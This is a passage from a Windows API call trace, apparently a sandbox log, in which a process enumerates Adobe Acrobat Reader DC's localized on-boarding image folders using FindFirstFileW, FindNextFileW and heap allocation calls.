hFindFile=0x33e4928, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1ab8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PlayStore_icon.svg", cAlternateFileName="PLAYST~1.SVG")) returned 1 [0259.422] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1ab8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PlayStore_icon.svg", cAlternateFileName="PLAYST~1.SVG")) returned 0 [0259.422] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0259.422] GetProcessHeap () returned 0xc10000 [0259.422] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0259.422] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0259.422] GetProcessHeap () returned 0xc10000 [0259.422] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0259.422] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\images\\themeless\\Localized_images\\fi-fi\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0259.423] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.423] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x480b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppStore_icon.svg", cAlternateFileName="APPSTO~1.SVG")) returned 1 [0259.423] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x15eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="PlayStore_icon.svg", cAlternateFileName="PLAYST~1.SVG")) returned 1 [0259.423] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x15eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="PlayStore_icon.svg", cAlternateFileName="PLAYST~1.SVG")) returned 0 [0259.424] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0259.424] GetProcessHeap () returned 0xc10000 [0259.424] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0259.424] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeede288a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeede288a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0259.424] GetProcessHeap () returned 0xc10000 [0259.424] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0259.424] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\images\\themeless\\Localized_images\\fr-fr\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeede288a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeede288a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0259.424] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeede288a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeede288a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.424] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeede288a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeede288a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6838, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppStore_icon.svg", cAlternateFileName="APPSTO~1.SVG")) returned 1 [0259.424] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeede288a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeede288a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1e89, dwReserved0=0x0, dwReserved1=0x0, cFileName="PlayStore_icon.svg", cAlternateFileName="PLAYST~1.SVG")) returned 1 [0259.424] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeede288a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeede288a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1e89, dwReserved0=0x0, dwReserved1=0x0, cFileName="PlayStore_icon.svg", cAlternateFileName="PLAYST~1.SVG")) returned 0 [0259.424] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0259.425] GetProcessHeap () returned 0xc10000 [0259.425] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0259.425] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0259.425] GetProcessHeap () returned 0xc10000 [0259.425] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0259.425] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\images\\themeless\\Localized_images\\it-it\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0259.426] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.426] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4e72, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppStore_icon.svg", cAlternateFileName="APPSTO~1.SVG")) returned 1 [0259.426] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1dc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PlayStore_icon.svg", cAlternateFileName="PLAYST~1.SVG")) returned 1 [0259.426] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1dc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PlayStore_icon.svg", cAlternateFileName="PLAYST~1.SVG")) returned 0 [0259.426] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0259.426] GetProcessHeap () returned 0xc10000 [0259.426] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0259.426] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0259.426] GetProcessHeap () returned 0xc10000 [0259.426] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0259.426] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\images\\themeless\\Localized_images\\ja-jp\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0259.427] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.427] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x452e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppStore_icon.svg", cAlternateFileName="APPSTO~1.SVG")) returned 1 [0259.427] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1cf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PlayStore_icon.svg", cAlternateFileName="PLAYST~1.SVG")) returned 1 [0259.427] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1cf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PlayStore_icon.svg", cAlternateFileName="PLAYST~1.SVG")) returned 0 [0259.427] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0259.428] GetProcessHeap () returned 0xc10000 [0259.428] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0259.428] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0259.428] GetProcessHeap () returned 0xc10000 [0259.428] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0259.428] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\images\\themeless\\Localized_images\\ko-kr\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0259.429] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.429] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x44bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppStore_icon.svg", cAlternateFileName="APPSTO~1.SVG")) returned 1 [0259.429] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeede288a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeede288a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x167c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PlayStore_icon.svg", cAlternateFileName="PLAYST~1.SVG")) returned 1 [0259.429] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeede288a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeede288a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x167c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PlayStore_icon.svg", cAlternateFileName="PLAYST~1.SVG")) returned 0 [0259.429] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0259.429] GetProcessHeap () returned 0xc10000 [0259.429] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0259.429] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0259.430] GetProcessHeap () returned 0xc10000 [0259.430] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0259.430] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\images\\themeless\\Localized_images\\nb-no\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0259.430] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.430] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x507f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppStore_icon.svg", cAlternateFileName="APPSTO~1.SVG")) returned 1 [0259.430] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1aab, dwReserved0=0x0, dwReserved1=0x0, cFileName="PlayStore_icon.svg", cAlternateFileName="PLAYST~1.SVG")) returned 1 [0259.430] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1aab, dwReserved0=0x0, dwReserved1=0x0, cFileName="PlayStore_icon.svg", cAlternateFileName="PLAYST~1.SVG")) returned 0 [0259.430] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0259.430] GetProcessHeap () returned 0xc10000 [0259.430] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0259.430] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeede288a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeede288a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0259.430] GetProcessHeap () returned 0xc10000 [0259.430] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0259.430] FindFirstFileW (in: 